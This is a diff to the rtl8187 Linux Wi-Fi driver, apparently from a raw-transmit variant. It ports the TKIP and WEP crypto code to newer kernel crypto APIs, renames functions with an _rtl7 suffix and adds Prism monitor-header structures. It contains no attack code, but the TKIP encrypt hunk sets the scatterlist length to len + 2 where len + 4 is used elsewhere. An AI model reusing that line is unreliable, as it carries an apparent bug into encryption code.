rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); return 0; +#else + if (crypto_hash_setkey(tfm_michael, key, 8)) + return -1; + + desc.tfm = tfm_michael; + desc.flags = 0; + return crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +615,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,18 +627,24 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +665,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +681,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +689,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +698,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +716,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +732,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +777,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +807,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +834,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.c 2008-01-30 17:39:05.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,25 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#else + sg_set_page(&sg, virt_to_page(pos), len + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +214,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +244,26 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +284,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +298,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +311,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +320,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211.h 2008-01-30 17:38:11.000000000 +0100 @@ -120,7 +120,7 @@ static inline unsigned long msleep_interruptible_rtl(unsigned int msecs) { unsigned long timeout = MSECS(msecs) + 1; - + while (timeout) { set_current_state(TASK_UNINTERRUPTIBLE); timeout = schedule_timeout(timeout); @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -798,7 +814,7 @@ /* the card is not linked at all */ IEEE80211_NOLINK = 0, - + /* IEEE80211_ASSOCIATING* are for BSS client mode * the driver shall not perform RX filtering unless * the state is LINKED. @@ -806,31 +822,31 @@ * defaults to NOLINK for ALL the other states (including * LINKED_SCANNING) */ - + /* the association procedure will start (wq scheduling)*/ IEEE80211_ASSOCIATING, IEEE80211_ASSOCIATING_RETRY, - + /* the association procedure is sending AUTH request*/ IEEE80211_ASSOCIATING_AUTHENTICATING, - + /* the association procedure has successfully authentcated * and is sending association request */ IEEE80211_ASSOCIATING_AUTHENTICATED, - + /* the link is ok. the card associated to a BSS or linked * to a ibss cell or acting as an AP and creating the bss */ IEEE80211_LINKED, - + /* same as LINKED, but the driver shall apply RX filter * rules as we are in NO_LINK mode. As the card is still * logically linked, but it is doing a syncro site survey * then it will be back to LINKED state. */ IEEE80211_LINKED_SCANNING, - + }; #define DEFAULT_MAX_SCAN_AGE (15 * HZ) @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -870,7 +886,7 @@ struct net_device_stats stats; struct ieee80211_stats ieee_stats; struct ieee80211_softmac_stats softmac_stats; - + /* Probe / Beacon management */ struct list_head network_free_list; struct list_head network_list; @@ -881,7 +897,7 @@ int iw_mode; /* operating mode (IW_MODE_*) */ spinlock_t lock; - + int tx_headroom; /* Set to size of any additional room needed at front * of allocated Tx SKBs */ u32 config; @@ -924,11 +940,11 @@ * ad-hoc is a mixture ;-). * Note that in infrastructure mode, even when not associated, * fields bssid and essid may be valid (if wpa_set and essid_set - * are true) as thy carry the value set by the user via iwconfig + * are true) as thy carry the value set by the user via iwconfig */ struct ieee80211_network current_network; - + enum ieee80211_state state; int short_slot; @@ -936,33 +952,33 @@ int modulation; /* CCK, OFDM */ int freq_band; /* 2.4Ghz, 5.2Ghz, Mixed */ int abg_true; /* ABG flag */ - - /* used for forcing the ibss workqueue to terminate + + /* used for forcing the ibss 